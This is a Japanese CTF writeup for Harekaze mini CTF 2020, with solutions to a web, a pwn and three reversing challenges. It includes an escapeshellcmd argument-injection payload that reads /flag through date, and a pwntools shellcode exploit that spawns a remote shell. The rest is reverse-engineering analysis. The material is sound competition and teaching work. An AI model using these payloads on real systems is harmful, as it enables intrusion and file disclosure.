Harekaze mini CTF 2020 writeup

2020-12-26 01:00:00 (UTC) - 2020-12-27 01:00:00 (UTC)に開催されたHarekaze mini CTF 2020のWriteupです。

0x62EEN7EAという個人チームで出場して、141チーム中27位でした。

reversing問を全部解けたので嬉しかったです。

解いた問題は以下の通りです。

[web] What time is it now?

Dockerfileとindex.phpが与えられます。

index.phpは以下の通りです。

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  exit;
}

$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>What time is it now?</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
  </head>
  <body>
   <header>
      <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
        <div class="container">
          <a class="navbar-brand" href="index.php">What time is it now?</a>
          <div class="navbar-collapse">
            <ul class="navbar-nav mr-auto">
              <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li>
            </ul>
          </div>
        </div>
      </nav>
    </header>
    <main>
      <section class="jumbotron text-center">
        <div class="container">
          <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1>
          <p>
            <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a>
            <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a>
            <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a>
          </p>
        </div>
      </section>
    </main>
    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
  </body>
</html>

formatに与えた文字列がescapeshellcmdでエスケープされてdateに渡されています。

escapeshellcmdはシングルクォートやダブルクォートが対になっていない場合にのみエスケープされるのでそれを利用します。

date -f <file>を実行するとfileの各行の文字列を時刻にして表示してくれて、変換できない時はinvalid date '文字列'と表示されるのでこれを使って、

http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=' -f '/flag

としてやるとフラグが表示されます。

It's date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}' .

[pwn] Shellcode

"/bin/sh"のアドレスが与えられるのでそれを利用してexecve("/bin/sh", NULL, NULL)を実行するシェルコードを書くだけです。

レジスタの状態を以下のようにしてsyscallを実行するとexecve("/bin/sh", NULL, NULL)を実行できます。

register value
rax 59
rdi /bin/shのアドレス
rsi 0x0
rdx 0x0

"/bin/sh"のアドレスをそのままediに代入するとヌル文字が入ってしまうので、あらかじめ左シフトした値を代入して右シフトすることでそれを防いでいます。

from pwn import *

context.binary = "shellcode"

p = remote("20.48.83.165", 20005)
p.readuntil('"/bin/sh" is at')
binsh = int(p.readline().strip(), 16) << 2

shellcode = asm(
f"""
xor rdx, rdx
xor rdi, rdi
xor rsi, rsi
mov edi, {binsh}
shr edi, 2
lea rax, [rdx+59]
syscall
""")

p.sendline(shellcode)
p.interactive()
python solve.py
[*] '/home/vagrant/Harekaze_mini_2020/shellcode/distfiles/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 20.48.83.165 on port 20005: Done
[*] Switching to interactive mode
Execute execve("/bin/sh", NULL, NULL)
$ cat /home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

[rev] Easy Flag Checker

challという実行ファイルが与えられました。

ghidraでデコンパイルします。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  undefined local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Input flag: ");
  __isoc99_scanf(&DAT_00402015,local_38);
  iVar1 = check(local_38,"fakeflag{this_is_not_the_real_flag}");
  if (iVar1 == 0) {
    printf("Congratulations! The flag is: %s\n",local_38);
  }
  else {
    puts("Nope.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

入力をcheck関数に渡して、その戻り値が0なら正しいフラグだとわかります。

check関数を見ていきます。

undefined8 check(long param_1,long param_2)

{
  char cVar1;
  int local_c;
  
  local_c = 0;
  while( true ) {
    if (0x22 < local_c) {
      return 0;
    }
    cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8))
                      ((ulong)(uint)(int)*(char *)(param_2 + local_c),
                       (ulong)(uint)(int)(char)table[local_c],(ulong)(uint)(int)(char)table[local_c]
                      );
    if (cVar1 < *(char *)(param_1 + local_c)) break;
    if (*(char *)(param_1 + local_c) < cVar1) {
      return 0xffffffff;
    }
    local_c = local_c + 1;
  }
  return 1;
}

funcsの3つの関数を順番に呼び出し、cVar1に代入しています。funcsの引数は第二引数のlocal_c番目の文字とtableのi番目の要素です。

funcsには0x401196, 0x4011b4, 0x4011d4の3つのアドレスが順番に入っており、

  • 0x401196は二つの引数を足し合わせる関数
  • 0x4011b4は第一引数から第二引数を引く関数
  • 0x4011d4は第一引数と第二引数でxorを取る関数

でした。

cVar1と入力のlocal_c番目の文字を比較し、1文字でも違っていたら1や0xffffffffを返すようになっています。

よって、cVar1を求めてやるとフラグが手に入ります。

def add(a, b):
    return a + b

def sub(a, b):
    return a - b

def xor(a, b):
    return a ^ b

funcs = [
    add,
    sub,
    xor,
]

tables = [0xe2,0x00,0x19,0x00,0xfb,0x0d,0x19,0x02,0x38,0xe0,0x22,0x12,0xbd,0xed,0x1d,0xf5,0x2f,0x0a,0xc1,0xfc,0x00,0xf2,0xfc,0x51,0x08,0x13,0x06,0x07,0x39,0x3c,0x05,0x39,0x13,0xba,0x00]

param2 = b"fakeflag{this_is_not_the_real_flag}"
for i in range(0x22 + 1):
    tmp = funcs[i % 3](param2[i], tables[i])
    print(chr(tmp & 0xff), end="")
print()
$ python solve.py
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}

[rev] Wait

a.outという実行ファイルが与えられます。

とりあえずghidraでデコンパイルします。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_dc;
  int local_d8;
  int local_d4;
  int local_d0;
  int local_cc;
  uchar local_b8 [16];
  undefined8 local_a8;
  undefined4 local_a0;
  undefined2 local_9c;
  undefined local_9a;
  uchar local_98 [32];
  uchar local_78 [32];
  uchar local_58 [11];
  undefined local_4d;
  undefined local_4c;
  undefined local_4b;
  undefined local_4a;
  undefined local_49;
  undefined local_48;
  undefined local_47;
  undefined local_46;
  undefined local_45;
  byte local_38 [14];
  byte abStack42 [4];
  char local_26;
  char local_25;
  undefined local_24;
  undefined local_23;
  undefined local_22;
  undefined local_21;
  undefined local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_a8 = 0x657a616b65726148;
  local_a0 = 0x7b465443;
  local_9c = 0x4449;
  local_9a = 0;
  local_78[0] = '\x1f';
  local_78[1] = 0xcc;
  local_78[2] = 0xe7;
  local_78[3] = 0xec;
  local_78[4] = 0x44;
  local_78[5] = 0xbe;
  local_78[6] = 0xb7;
  local_78[7] = 0x2c;
  local_78[8] = 0x99;
  local_78[9] = 0x4e;
  local_78[10] = 0x2c;
  local_78[11] = 0xd6;
  local_78[12] = 0x9c;
  local_78[13] = 0x46;
  local_78[14] = 0x29;
  local_78[15] = 0x16;
  local_78[16] = 0xca;
  local_78[17] = 0x8e;
  local_78[18] = 200;
  local_78[19] = 0x10;
  local_b8[0] = '&';
  local_b8[1] = 0x44;
  local_b8[2] = 0x1f;
  local_b8[3] = 0x16;
  local_b8[4] = 0xb;
  local_b8[5] = 0xb;
  local_b8[6] = 0x1c;
  local_b8[7] = 0x21;
  local_b8[8] = 0x1d;
  local_b8[9] = 0x20;
  local_b8[10] = 0;
  local_58[0] = '\\';
  local_58[1] = 0x75;
  local_58[2] = 0xca;
  local_58[3] = 0x57;
  local_58[4] = 0x85;
  local_58[5] = 0x49;
  local_58[6] = 0xf6;
  local_58[7] = 0xa2;
  local_58[8] = 200;
  local_58[9] = 0x3d;
  local_58[10] = 0x14;
  local_4d = 0xd1;
  local_4c = 0xef;
  local_4b = 0xce;
  local_4a = 0x56;
  local_49 = 0x55;
  local_48 = 0xa5;
  local_47 = 0;
  local_46 = 0xaa;
  local_45 = 0x67;
  puts("Input flag ( HINT: ^HarekazeCTF\\{ID[A-Z]{4}X\\}$ )");
  __isoc99_scanf(&DAT_00400bea,local_38);
  local_dc = 0;
  while (local_dc < 0xe) {
    if (*(byte *)((long)&local_a8 + (long)local_dc) != local_38[local_dc]) {
      puts("Wrong flag");
      goto LAB_00400b0c;
    }
    local_dc = local_dc + 1;
  }
  local_d8 = 0xe;
  while (local_d8 < 0x12) {
    if ((local_38[local_d8] < 0x41) || (0x5a < local_38[local_d8])) {
      puts("Wrong flag");
      goto LAB_00400b0c;
    }
    local_d8 = local_d8 + 1;
  }
  if ((local_26 == 'X') && (local_25 == '}')) {
    local_24 = 0x53;
    local_23 = 0x41;
    local_22 = 0x4c;
    local_21 = 0x54;
    local_20 = 0;
    puts("Verifying... ");
    local_d4 = 0;
    while (local_d4 < 0xb) {
      local_b8[local_d4] = local_b8[local_d4] + command1[local_d4];
      local_d4 = local_d4 + 1;
    }
    SHA1(local_b8,0xb,local_98);
    local_d0 = 0;
    while (local_d0 < 0xb) {
      if (local_98[local_d0] != local_58[local_d0]) {
        puts("Be patient");
        goto LAB_00400b0c;
      }
      local_d0 = local_d0 + 1;
    }
    iVar1 = system((char *)local_b8);
    if (iVar1 == 0) {
      SHA1(local_38,0x19,local_98);
      local_cc = 0;
      while (local_cc < 0x14) {
        if (local_98[local_cc] != local_78[local_cc]) {
          puts("Wrong flag");
          goto LAB_00400b0c;
        }
        local_cc = local_cc + 1;
      }
      puts("Correct flag");
    }
    else {
      puts("Be patient");
    }
  }
  else {
    puts("Wrong flag");
  }
LAB_00400b0c:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

少しずつ読んでいきます。

  while (local_dc < 0xe) {
    if (*(byte *)((long)&local_a8 + (long)local_dc) != local_38[local_dc]) {
      puts("Wrong flag");
      goto LAB_00400b0c;
    }
    local_dc = local_dc + 1;
  }

この部分で入力された文字列の先頭がHarekazeCTF{IDかどうか調べています。

  local_d8 = 0xe;
  while (local_d8 < 0x12) {
    if ((local_38[local_d8] < 0x41) || (0x5a < local_38[local_d8])) {
      puts("Wrong flag");
      goto LAB_00400b0c;
    }
    local_d8 = local_d8 + 1;
  }

次にこの部分でHarekazeCTF{IDに続く四文字がA~Zかどうか調べています。

  if ((local_26 == 'X') && (local_25 == '}')) {
    local_24 = 0x53;
    local_23 = 0x41;
    local_22 = 0x4c;
    local_21 = 0x54;
    local_20 = 0;
    puts("Verifying... ");

この部分では入力の末尾がX}であるか調べてX}ならば、その後ろにSALTという文字列を付け加えています。

    if (iVar1 == 0) {
      SHA1(local_38,0x19,local_98);
      local_cc = 0;
      while (local_cc < 0x14) {
        if (local_98[local_cc] != local_78[local_cc]) {
          puts("Wrong flag");
          goto LAB_00400b0c;
        }
        local_cc = local_cc + 1;
      }
      puts("Correct flag");

少し飛ばしてこの部分で入力をハッシュ化して、local_78に入っているフラグのハッシュ値と比較しています。

入力のうち変わる部分はHarekazeCTF{IDの後の4文字だけなので総当たりで求めます。

#include <openssl/sha.h>
#include <stdio.h>
#include <string.h>

int main() {
  unsigned char flag_buffer[100];
  unsigned char hoge[5];
  unsigned char hash[0x20];
  unsigned char expected[20];
  int is_wrong = 0;

  expected[0] = '\x1f';
  expected[1] = 0xcc;
  expected[2] = 0xe7;
  expected[3] = 0xec;
  expected[4] = 0x44;
  expected[5] = 0xbe;
  expected[6] = 0xb7;
  expected[7] = 0x2c;
  expected[8] = 0x99;
  expected[9] = 0x4e;
  expected[10] = 0x2c;
  expected[11] = 0xd6;
  expected[12] = 0x9c;
  expected[13] = 0x46;
  expected[14] = 0x29;
  expected[15] = 0x16;
  expected[16] = 0xca;
  expected[17] = 0x8e;
  expected[18] = 200;
  expected[19] = 0x10;

  for (int i = 0x41; i <= 0x5a; i++) {
    for (int j = 0x41; j <= 0x5a; j++) {
      for (int k = 0x41; k <= 0x5a; k++) {
        for (int l = 0x41; l <= 0x5a; l++) {
          hoge[0] = i;
          hoge[1] = j;
          hoge[2] = k;
          hoge[3] = l;
          hoge[4] = '\0';
          sprintf(flag_buffer, "HarekazeCTF{ID%sX}SALT", hoge);
          SHA1(flag_buffer, 0x19, hash);
          is_wrong = 0;
          for (int h = 0; h < 0x14; h++) {
            if (hash[h] != expected[h]) {
              is_wrong = 1;
              break;
            }
          }
          if (is_wrong == 0) {
            printf("%s\n", flag_buffer);
            return 0;
          }
        }
      }
    }
  }
}
$ gcc -o solver solver.c -lcrypto -lssl
$ ./solver
HarekazeCTF{IDRACIX}SALT

[rev] Tiny Flag Checker

xxdコマンドを使って16進ダンプしてみます。

$ xxd tiny
00000000: 7f45 4c46 5555 4e5f 4b41 5741 4949 16c6  .ELFUUN_KAWAII..
00000010: 0200 3e00 4142 4344 a200 4000 0000 0000  ..>.ABCD..@.....
00000020: 4000 0000 0000 0000 e7fc 6375 63cf fdf0  @.........cuc...
00000030: 66ae dc4f 4fcf 3800 0100 0000 0000 0000  f..OO.8.........
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 4e6f 7065 2e2e 2e0a  ..@.....Nope....
00000060: 6e01 0000 0000 0000 6e01 0000 0000 0000  n.......n.......
00000070: 496e 7075 743a 2000 436f 7272 6563 7421  Input: .Correct!
00000080: 2046 6c61 673a 2048 6172 656b 617a 6543   Flag: HarekazeC
00000090: 5446 7b7d 0ab8 0100 0000 bf01 0000 000f  TF{}............
000000a0: 05c3 4883 ec10 4989 e048 83ec 1049 89e1  ..H...I..H...I..
000000b0: 660f efc0 0f29 0424 0f29 4424 10be 7000  f....).$.)D$..p.
000000c0: 4000 ba07 0000 00e8 c9ff ffff 31c0 31ff  @...........1.1.
000000d0: 4c89 c6ba 1000 0000 0f05 498b 0049 3101  L.........I..I1.
000000e0: 498b 4008 4931 4108 49c1 0929 49c1 4908  I.@.I1A.I..)I.I.
000000f0: 1348 8b04 2500 0040 0049 3101 488b 0425  .H..%..@.I1.H..%
00000100: 0800 4000 4931 4108 488b 0425 2800 4000  ..@.I1A.H..%(.@.
00000110: 4933 0148 8b14 2530 0040 0049 3351 0848  I3.H..%0.@.I3Q.H
00000120: 21c0 7532 4839 d075 2dbe 7800 4000 ba1b  !.u2H9.u-.x.@...
00000130: 0000 00e8 5dff ffff 4c89 c6ba 1000 0000  ....]...L.......
00000140: e850 ffff ffbe 9300 4000 ba02 0000 00e8  .P......@.......
00000150: 41ff ffff eb0f be58 0040 00ba 0800 0000  A......X.@......
00000160: e830 ffff ffb8 3c00 0000 31ff 0f05       .0....<...1...

通常の実行ファイルと比較してヘッダーが少し変になっています。

また、gdbデバッグしようとしてもうまく認識してくれずobjdumpも動作しませんでした。

そのため自力で解析します。以下のコードを書いて解析を行いました。

from capstone import *
from ctypes import *
import io

class ELF64FileHeader(Structure):
    _fields_ = [
        ("e_indent", c_char * EI_NINDENT),
        ("e_type", c_uint16),
        ("e_machine", c_uint16),
        ("e_version", c_uint32),
        ("e_entry", c_uint64),
        ("e_phoff", c_uint64),
        ("e_shoff", c_uint64),
        ("e_flags", c_uint32),
        ("e_ehsize", c_uint16),
        ("e_phentsize", c_uint16),
        ("e_phnum", c_uint16),
        ("e_shentsize", c_uint16),
        ("e_shnum", c_uint16),
        ("e_shstrndx", c_uint16),
    ]

class ELF64ProgramHeader(Structure):
    _fields_ = [
        ("p_type", c_uint32),
        ("p_offset", c_uint32),
        ("p_vaddr", c_uint64),
        ("p_paddr", c_uint64),
        ("p_filesz", c_uint64),
        ("p_flags", c_uint64),
        ("p_memsz", c_uint64),
        ("p_align", c_uint64),
    ]

stream = io.BytesIO(open("tiny", "rb").read())

# ELFヘッダの解析
header = ELF64FileHeader()
stream.readinto(header)

print("----- ELF header -----")
print(f"e_type: {header.e_type}")
print(f"e_machine: {header.e_machine} => x86_64")
print(f"e_entry: {hex(header.e_entry)}")
print(f"e_phoff: {hex(header.e_phoff)}")
print(f"e_shoff: {hex(header.e_shoff)}")
print(f"e_phnum: {hex(header.e_phnum)}")
print(f"e_shnum: {hex(header.e_shnum)}")

stream.seek(header.e_phoff)

# プログラムヘッダの解析
phdr = ELF64ProgramHeader()
stream.readinto(phdr)

print("----- Program header -----")
print(f"p_type: {phdr.p_type}")
print(f"p_offset: {hex(phdr.p_offset)}")
print(f"p_vaddr: {hex(phdr.p_vaddr)}")
print(f"p_paddr: {hex(phdr.p_paddr)}")
print(f"p_memsz: {hex(phdr.p_memsz)}")
print(f"p_filesz: {hex(phdr.p_filesz)}")

stream.seek(0x95)
code = stream.read(-1)
md = Cs(CS_ARCH_X86, CS_MODE_64)

print("----- disassemble -----")
# 逆アセンブル
for i in md.disasm(code, 0x400095):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

上のコードを実行すると以下の結果が得られます。

$ python analysis.py
----- ELF header -----
e_type: 2
e_machine: 62 => x86_64
e_entry: 0x4000a2
e_phoff: 0x40
e_shoff: 0xf0fdcf637563fce7
e_phnum: 0x1
e_shnum: 0x0
----- Program header -----
p_type: 1
p_offset: 0x5
p_vaddr: 0x0
p_paddr: 0x400000
p_memsz: 0x16e
p_filesz: 0xa2e2e2e65706f4e
----- disassemble -----
0x400095:   mov eax, 1
0x40009a:   mov edi, 1
0x40009f:   syscall 
0x4000a1:   ret 
0x4000a2:   sub rsp, 0x10
0x4000a6:   mov r8, rsp
0x4000a9:   sub rsp, 0x10
0x4000ad:   mov r9, rsp
0x4000b0:   pxor    xmm0, xmm0
0x4000b4:   movaps  xmmword ptr [rsp], xmm0
0x4000b8:   movaps  xmmword ptr [rsp + 0x10], xmm0
0x4000bd:   mov esi, 0x400070
0x4000c2:   mov edx, 7
0x4000c7:   call    0x400095
0x4000cc:   xor eax, eax
0x4000ce:   xor edi, edi
0x4000d0:   mov rsi, r8
0x4000d3:   mov edx, 0x10
0x4000d8:   syscall 
0x4000da:   mov rax, qword ptr [r8]
0x4000dd:   xor qword ptr [r9], rax
0x4000e0:   mov rax, qword ptr [r8 + 8]
0x4000e4:   xor qword ptr [r9 + 8], rax
0x4000e8:   ror qword ptr [r9], 0x29
0x4000ec:   ror qword ptr [r9 + 8], 0x13
0x4000f1:   mov rax, qword ptr [0x400000]
0x4000f9:   xor qword ptr [r9], rax
0x4000fc:   mov rax, qword ptr [0x400008]
0x400104:   xor qword ptr [r9 + 8], rax
0x400108:   mov rax, qword ptr [0x400028]
0x400110:   xor rax, qword ptr [r9]
0x400113:   mov rdx, qword ptr [0x400030]
0x40011b:   xor rdx, qword ptr [r9 + 8]
0x40011f:   and rax, rax
0x400122:   jne 0x400156
0x400124:   cmp rax, rdx
0x400127:   jne 0x400156
0x400129:   mov esi, 0x400078
0x40012e:   mov edx, 0x1b
0x400133:   call    0x400095
0x400138:   mov rsi, r8
0x40013b:   mov edx, 0x10
0x400140:   call    0x400095
0x400145:   mov esi, 0x400093
0x40014a:   mov edx, 2
0x40014f:   call    0x400095
0x400154:   jmp 0x400165
0x400156:   mov esi, 0x400058
0x40015b:   mov edx, 8
0x400160:   call    0x400095
0x400165:   mov eax, 0x3c
0x40016a:   xor edi, edi
0x40016c:   syscall 

ヘッダーからアーキテクチャx86_64であることやエントリーポイントが0x4000a2であることがわかります。

アセンブリコードが得られたので気合いで読みます。

読みやすいようにアセンブリコードにラベルやコメントを加えると以下のようになります。

#------------------------------
#  r8 <= stack addr (input)
#  r9 <= stack addr (buffer)
#------------------------------

#------------------------------
#  text list
#  - 0x400058: "Nope..."
#  - 0x400070: "Input: "
#  - 0x400078: "Correct!"
#  - 0x400081: "Flag: HarekazeCTF{}"
#------------------------------

#------------------------------
#  write function
#  - esi: text addr
#  - edx: text length
#------------------------------
write: 
  0x400095:    mov  eax, 1
  0x40009a:    mov  edi, 1
  0x40009f:    syscall  
  0x4000a1:    ret  

#------------------------------
#  entry function
#------------------------------
entry:
  0x4000a2:    sub  rsp, 0x10
  0x4000a6:    mov  r8, rsp
  0x4000a9:    sub  rsp, 0x10
  0x4000ad:    mov  r9, rsp
  0x4000b0:    pxor xmm0, xmm0
  0x4000b4:    movaps   xmmword ptr [rsp], xmm0
  0x4000b8:    movaps   xmmword ptr [rsp + 0x10], xmm0

  0x4000bd:    mov  esi, 0x400070 ; "Input: "
  0x4000c2:    mov  edx, 7
  0x4000c7:    call write<0x400095>

  # read(stdin, 0x10, r8)
  0x4000cc:    xor  eax, eax
  0x4000ce:    xor  edi, edi
  0x4000d0:    mov  rsi, r8
  0x4000d3:    mov  edx, 0x10
  0x4000d8:    syscall  

  # r9 <= r8 (入力の前半8byte)
  0x4000da:    mov  rax, qword ptr [r8]
  0x4000dd:    xor  qword ptr [r9], rax

  # r9 + 8 <= r8 + 8 (入力の後半8byte)
  0x4000e0:    mov  rax, qword ptr [r8 + 8]
  0x4000e4:    xor  qword ptr [r9 + 8], rax

  # r9 rotate right 0x29 bit
  0x4000e8:    ror  qword ptr [r9], 0x29

  # (r9 + 8) rotate right 0x13 bit
  0x4000ec:    ror  qword ptr [r9 + 8], 0x13

  # r9 ^ 0x5f4e5555464c457f ("\x7fELFUUN_")
  0x4000f1:    mov  rax, qword ptr [0x400000]
  0x4000f9:    xor  qword ptr [r9], rax

  # (r9 + 8) ^ 0xc61649494157414b ("KAWAII\x16\xc6")
  0x4000fc:    mov  rax, qword ptr [0x400008]
  0x400104:    xor  qword ptr [r9 + 8], rax

  # rax = r9 ^ f0fdcf637563fce7
  0x400108:    mov  rax, qword ptr [0x400028]
  0x400110:    xor  rax, qword ptr [r9]

  # rdx = (r9 + 8) ^ 0038cf4f4fdcae66
  0x400113:    mov  rdx, qword ptr [0x400030]
  0x40011b:    xor  rdx, qword ptr [r9 + 8]

  # rax != 0 -> wrong
  0x40011f:    and  rax, rax
  0x400122:    jne  wrong<0x400156>

  # rax != rdx -> wrong
  0x400124:    cmp  rax, rdx
  0x400127:    jne  wrong<0x400156>
  
  # show flag
  0x400129:    mov  esi, 0x400078 ; "Flag: HarekazeCTF{"
  0x40012e:    mov  edx, 0x1b
  0x400133:    call write<0x400095>
  0x400138:    mov  rsi, r8       ; input
  0x40013b:    mov  edx, 0x10
  0x400140:    call write<0x400095>
  0x400145:    mov  esi, 0x400093 ; "}\n"
  0x40014a:    mov  edx, 2
  0x40014f:    call write<0x400095>
  0x400154:    jmp  finish<0x400165>

nope:
  0x400156:    mov  esi, 0x400058
  0x40015b:    mov  edx, 8
  0x400160:    call write<0x400095>

finish:
  0x400165:    mov  eax, 0x3c
  0x40016a:    xor  edi, edi
  0x40016c:    syscall

0x4000daから0x400104までの処理を逆の順に行なっていけばフラグが得られます。

# solve.py
from cryptolib.util.binary import *

def shift_left(x: int, size: int) -> int:
    return ((x << size) & 0xffffffffffffffff) | (x >> (64 - size))

xor1 = 0x5f4e5555464c457f
xor2 = 0xf0fdcf637563fce7

rax = xor2
rax ^= xor1
rax = shift_left(rax, 0x29)
flag_a = long2bytes(rax)[::-1]

xor3 = 0xc61649494157414b
xor4 = 0x0038cf4f4fdcae66

rdx = xor4
rdx ^= xor3
rdx = shift_left(rdx, 0x13)
flag_b = long2bytes(rdx)[::-1]

print(b"HarekazeCTF{" + flag_a + flag_b + b"}")
$ python solve.py
b'HarekazeCTF{fl4g_1s_t1ny_t00}'